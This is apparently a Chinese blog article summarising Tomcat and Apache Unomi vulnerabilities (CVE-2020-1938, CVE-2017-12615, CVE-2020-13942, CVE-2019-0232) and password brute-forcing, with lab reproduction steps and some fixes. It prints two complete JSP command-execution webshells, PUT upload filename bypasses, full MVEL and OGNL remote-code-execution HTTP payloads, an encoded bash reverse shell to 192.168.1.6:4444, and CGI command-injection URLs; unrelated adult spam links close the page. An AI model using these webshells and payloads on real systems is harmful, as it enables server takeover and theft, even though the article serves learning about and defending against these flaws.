1. Tomcat常見的漏洞總結

        共 11158字,需瀏覽 23分鐘

         ·

        2021-04-02 23:22

        Tomcat常見漏洞

        Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發(fā)而成。由于有了Sun 的參與和支持,最新的Servlet 和JSP 規(guī)范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規(guī)范。因為Tomcat 技術先進、性能穩(wěn)定,而且免費,因而深受Java 愛好者的喜愛并得到了部分軟件開發(fā)商的認可,成為目前比較流行的Web 應用服務器Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統(tǒng)和并發(fā)訪問用戶不是很多的場合下被普遍使用,是開發(fā)和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的

        漏洞匯總

        ba9bd903fadae41b658e3ce05994dcc4.webp


        CVE-2020-1938文件包含漏洞

        漏洞描述

        ? 該漏洞是由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件,如:webapp配置文件或源代碼等。若目標服務器同時存在文件上傳功能,攻擊者可進一步實現遠程代碼執(zhí)行。

        漏洞影響版本

        Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

        不受影響版本


        Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31

        漏洞分析

        ? Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。復現發(fā)現Tomcat ajp協議存在web目錄下任意文件讀取漏洞以及JSP文件包含漏洞。
        ? 當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。

        ? 當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞

        漏洞復現

        c411206c2cf54863d20fd8a4cd0730cf.webp

        1.使用nmap掃描目標是否開啟了8009端口


        0674815663d3565d9247bdea075b2c73.webp

        2.使用poc掃描目標網站

        下載地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi


        9932c557a05931bfe79fcee06cf2978d.webp

        這里是讀取ROOT路徑下的web.xml (默認為ROOT)
        如果想換路徑可以更改POC源碼里的/的位置更換成想要查詢的目錄(只能在webapps下)比如examples

        51e41507e9fd17adb66a99b0fb5d5e99.webp

        防御方式

        ? 1.禁用AJP協議,在tomcat安裝路徑中找到/conf/server.xml文件,刪除或注釋下面這行代碼:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
        ? 2.升級到tomcat最新版本
        ?3.配置secret來設置AJP協議的認證憑證,如:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>


        Tomcat后臺弱口令漏洞

        Tomcat后臺存在弱口令,進入網站后點擊登錄然后使用burp進行爆破測試

        2f250457a0904f98ae0adf325d9b0c28.webp

        55842b7e89a36c082e613bbeab167ab3.webp

        ????可以發(fā)現賬戶密碼是利用Authorization該授權字段以base64方式傳遞賬戶信息的
        ????發(fā)現加密方式后,拿去解密后發(fā)現他的數據傳輸是將賬戶與密碼用冒號進行組合之后在用base64加密所傳遞的。構造字段進行爆破
        ????使用burp抓包后發(fā)送到 Intrude 模塊進行暴力破解

        d445486f4f56a3a6a03ab88f4410d1ab.webp

        ????通過上面的驗證得到tomat數據傳遞格式為 username:password ,使用burp模糊測試模塊中的 custom iteactor 自定義迭代類型的payload,該類型的payload共分為8個占位符,每一個占位符又可以指定簡單列表的payload類型。再根據占位的數值,于每一個payload列表區(qū)進行笛卡爾積生成集合組

        ????簡單理解就是: 設置占位符,利用數學中的笛卡爾積進行集合,去拼湊各種可能存在的payload可能列表
        ????設置格式如下:

        07059840b9e638aba608b95ccc0d9e58.webp

        ????按照payload類型進行設置Position參數,比如我們要爆破Tomcat數據。設置第一個Position參數就是username參數,然后再進行添加paylaod字典。依次類推第二個參數就是冒號 : ,第三個就是password字段。設置完成后再對數據字段進行base64編碼就可以進行爆破。設置方法如下:

        07059840b9e638aba608b95ccc0d9e58.webp

        ????以上就是tomcat基礎認證爆破,當然我們還可以去自己收集匹配號的三個字段字典或者base64加密過的字典以及metasploit中的tomcat爆破,更加方便進行爆破

        0a2fbd2a1d12b2a5e4161049cdd4859e.webp

        ????成功爆破出賬號密碼,然后使用base64解碼得出明文賬號密碼
        ????使用爆破出的賬號密碼登錄進去后臺后發(fā)現有一個上傳頁面,直接上傳一個war木馬就可以


        60587bffe8b76c3bf6508ec1648198e7.webp

        war木馬的制作過程

        1.找到一個jsp的木馬

        <%    if("023".equals(request.getParameter("pwd"))){    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");}%>

        2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然后在cmd輸出已下命令(注意是必須在java環(huán)境下的,必須使用管理員權限的)

        jar cvf  +部署的war木馬 +自己bin目錄下的jsp木馬


        212647521c5a6a5e267713464ec04c70.webp

        木馬制作成功

        上傳制作的war木馬

        6ae9fd0aaadeb6b4bd2f4369668ea206.webp

        可以看到已經成功上傳了木馬


        6c332ed8e86a1e729f2fbe2d5c1267a9.webp

        訪問上傳的1.jsp目錄然后就可以執(zhí)行我們想要執(zhí)行的系統(tǒng)命令

        db15964bcc6ba7e2f19c45cf6ad6689e.webp


        CVE-2017-12615Tomcat遠程代碼執(zhí)行漏洞(PUT請求)

        漏洞介紹

        ????遠程代碼執(zhí)行漏洞(CVE-2017-12615) 影響:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修復不完全)當 Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT 請求方法,攻擊者通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執(zhí)行,危害十分嚴重

        影響版本

        ????Apache Tomcat 7.0.0 - 7.0.81

        漏洞利用前提:

        ????需Tomcat開啟了HTTP PUT請求

        漏洞原理分析

        ????Tomcat 的 Servlet 是在 conf/web.xml 配置的,通過配置文件可知,當后綴名為 .jsp 和 .jspx 的時候,是通過 JspServlet 處理請求的:而其他的靜態(tài)文件是通過 DefaultServlet 處理的:可以得知,“1.jsp ”(末尾有一個和空格)并不能匹配到 JspServlet,而是會交由 DefaultServlet 去處理。
        ????當處理 PUT 請求時:會調用 resources.bind:dirContext 為 FileDirContext:調用 rebind 創(chuàng)建文件:又由于 Windows 不允許“ ”作為文件名結尾,所以會創(chuàng)建一個 .jsp 文件,導致代碼執(zhí)行。

        環(huán)境搭建

        ????下載Tomcat,安裝成功后,需要開啟HTTP PUT請求,首先打開Tomcat目錄,找到配置文件

        f239c87c6b7c3c642d435690daedd9a4.webp

        ????打開之后,尋找readonly ,如圖,他被禁用了,禁止PUT上傳:

        b16c60a16d0586d74279429cbc4a9c7f.webp

        ????找到 org.apache.catalina.servlets.DefaultServlet 方法,并添加以下命令,添加成功后重啟一下即可

        <init-param>         <param-name>readonly</param-name>         <param-value>false</param-value> </init-param> 

        cc5ebb677e44f2fe8d6c9a85c7442fcc.webp

        漏洞復現

        1.使用burp進行抓包,將請求包發(fā)送到repeater模塊中,將GET請求方法改為OPTIONS,查看請求方法

        2450a3b97ea2129c76e0688c6374caa8.webp

        2.發(fā)現啟用了PUT方法,使用PUT請求上傳jsp木馬

        jsp馬:<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
        <%!public static String excuteCmd(String c) {
        StringBuilder line = new StringBuilder();
        try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
        String temp = null;while ((temp = buf.readLine()) != null) {
        line.append(temp+"\n");}buf.close();} catch (Exception e) {
        line.append(e.getMessage());}return line.toString();}%> <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
        out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

        ec21ec19dbd07224d2c350567a308e77.webp

        3.頁面狀態(tài)碼返回201,表示木馬寫入成功

        4.到頁面中訪問(ip+1.jsp) url:?http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023

        09ad2878c53047741e756d9ef4d60942.webp

        5.該漏洞實際上是利用了window下文件名解析的漏洞來觸發(fā)的。通過構造特殊后綴名,繞過Tomcat檢測,讓Tomcat用DefaultServlet的邏輯處理請求,從而上傳jsp webshell文件
        有三種方法可以進行繞過

        1 shell.jsp%20
        2 shell.jsp::$DATA
        3 shell.jsp/


        CVE-2020-13942 Apache Unomi 遠程代碼執(zhí)行漏洞

        Apache Unomi簡介

        ????Apache Unomi 是一個基于標準的客戶/數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發(fā),2015 年 10 月提交給了 Apache 孵化器。


        ????Apache Unomi 具有隱私管理、用戶/事件/目標跟蹤、報告、訪客資料管理、細分、角色、A/B 測試等功能,它可以作為:
        ? Web CMS 個性化服務
        ? 原生移動應用的分析服務
        ? 具有分段功能的集中配置文件管理系統(tǒng)
        ? 授權管理中心

        漏洞描述

        ????Apache Unomi 是一個基于標準的客戶數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發(fā),2015 年 10 月 Unomi 成為Apache 軟件基金會項目。在Apache Unomi 1.5.1版本之前,攻擊者可以通過精心構造的MVEL或ONGl表達式來發(fā)送惡意請求,使得Unomi服務器執(zhí)行任意代碼,漏洞對應編號為CVE-2020-11975,而CVE-2020-13942漏洞是對CVE-2020-11975漏洞的補丁繞過,攻擊者繞過補丁檢測的黑名單,發(fā)送惡意請求,在服務器執(zhí)行任意代碼

        漏洞影響版本

        ????Apache Unomi < 1.5.2

        環(huán)境搭建

        ????使用docker一鍵搭建的vulhub靶場,訪問頁面 ip:8181
        ????通過8181和9443兩個端口都可以觸發(fā)漏洞,本次使用 8181端口進行漏洞復現

        43fe85a2800b998b45221dbf91f8ed92.webp

        漏洞復現

        1.打開靶場首頁,使用bp進行抓包,發(fā)送到Repeater模塊構造數據包

        e75d23fb0e19abc937c97982c5d2020e.webp

        2.將GET請求改為POST請求,刪除多余的字段,保留HOST,User-Agent和Content-Length字段,然后添加以下數據,將dnslog換為自己的地址,然后發(fā)送數據包

        POST /context.json HTTP/1.1Host: 目標地址:8181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Content-Length: 495
        { "filters": [ { "id": "boom", "filters": [ { "condition": { "parameterValues": { "test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping br9yb9.dnslog.cn\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "test"}

        8339b0faf7ff900efcd882dec6216978.webp

        cdf59f57f469b37bcbffed013f69aca5.webp

        3.可以使用此漏洞來反彈shell,將bash反彈shell的命令進行編碼,編碼在線地址為?(http://www.jackson-t.ca/runtime-exec-payloads.html)


        bash -i >& /dev/tcp/192.168.1.6/4444 0>&1編碼后為bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}


        4.將編碼后的shell添加到以下poc的執(zhí)行系統(tǒng)命令的地方 ()

        POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 483
        { "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample"}

        577758e457cef406d96f541e1569296f.webp

        成功反彈shell

        d9a78b44d7b9a58551e85ebef91c1224.webp

        上面使用的是通過MVEL表達式執(zhí)行任意命令,以下使用OGNL表達式執(zhí)行任意命令

        在漏洞首頁抓取請求包然后發(fā)送到Repeater模塊中構造數據包,構造的poc為

        POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1064
        { "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")). (#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]). (#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters() [0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]). (#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample"}

        a0c8de60a0f9415a4207995578376b97.webp

        可以看到成功在 /tmp/ 目錄下成功創(chuàng)建了一個文件,也可以利用這個漏洞反彈shell

        baa72cfbcda334c5b6deb6d3dfa6646f.webp


        CVE-2019-0232 Apache Tomcat遠程代碼執(zhí)行漏洞

        簡介

        ????Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統(tǒng)和并發(fā)訪問用戶不是很多的場合下被普遍使用,是開發(fā)和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的

        漏洞描述

        ????該漏洞只對Windows平臺有效,攻擊者向CGI Servlet發(fā)送請求,可在具有Apache Tomcat權限的系統(tǒng)上注入和執(zhí)行任意操作系統(tǒng)命令。漏洞成因是當將參數從JRE傳遞到Windows環(huán)境時,由于CGI_Servlet中的輸入驗證錯誤而存在該漏洞。CGI_Servlet默認是關閉的

        漏洞影響范圍

        Apache Tomcat 9.0.0.M1 ~ 9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93

        環(huán)境搭建

        ????環(huán)境:Java8+Apache Tomcat 8.5.39

        1.安裝tomcat需要java環(huán)境,jdk下載地址(https://www.oracle.com/java/technologies/javase-downloads.html)

        2.下載完后配置環(huán)境變量,輸出java -version驗證是否配置成功

        5df3f9691cfbd9323d094f2cf9311d8c.webp

        3.安裝tomcat8.5.39版本,下載地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)

        ef07a1cea939808e019fb25c5902173d.webp

        4.下載完成后進行解壓然后配置tomcat,打開Tomcat按目錄下的confweb.xml 取消以下兩項的注釋,否則訪問cgi目錄會提示404,默認情況下是注釋的

        Web.xml文件?(兩處代碼都需要取消注釋)

        <servlet>    <servlet-name>cgi</servlet-name>    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>    <init-param>      <param-name>debug</param-name>      <param-value>0</param-value>    </init-param>    <init-param>      <param-name>cgiPathPrefix</param-name>      <param-value>WEB-INF/cgi-bin</param-value>    </init-param>    <init-param>      <param-name>executable</param-name>      <param-value></param-value>    </init-param>     <load-on-startup>5</load-on-startup></servlet> 
        <!-- The mapping for the CGI Gateway servlet -->
        <servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>

        修改在conf/context.xml中的<Context>添加privileged="true"語句

        5f7ec36127e60e2333532db539d2f995.webp

        5.在webappsROOTWEB-INF下創(chuàng)建一個cgi-bin文件夾,并在文件夾內創(chuàng)建一個bat文件寫入

        687da3ceb1e7e43ef2514f2457689d09.webp

        4217a68047cbc00f8f2911ae33cb21c2.webp

        6.都配置完成之后進入 bin目錄下運行 startup.bat 啟動tomcat

        5ec0fbd43889e8b513ab5f3a035462f1.webp

        7.訪問搭建后的頁面,若出現下圖則說明搭建成功

        1b89336118ec9357d56fc277de9ef87c.webp


        漏洞復現

        ????1.在瀏覽器訪問,執(zhí)行net user 命令

        http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

        ce7cc875578e4406d9c6093d1a247833.webp

        ????執(zhí)行whoami命令

        http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe

        36680f836f43a913b4ac5c2c51dd985c.webp


        漏洞修復

        受影響版本的用戶應該應用下列其中一項緩解。升級到:

        Apache Tomcat 9.0.18或更高版本Apache Tomcat 8.5.40或更高版本Apache Tomcat 7.0.93或更高版本


        瀏覽 37
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
          
          

            1. 一边吃奶一边啪好爽受不了了 | 久久久久久影院 | 做爱网站免费网 | 无码aa| 操逼片一级 |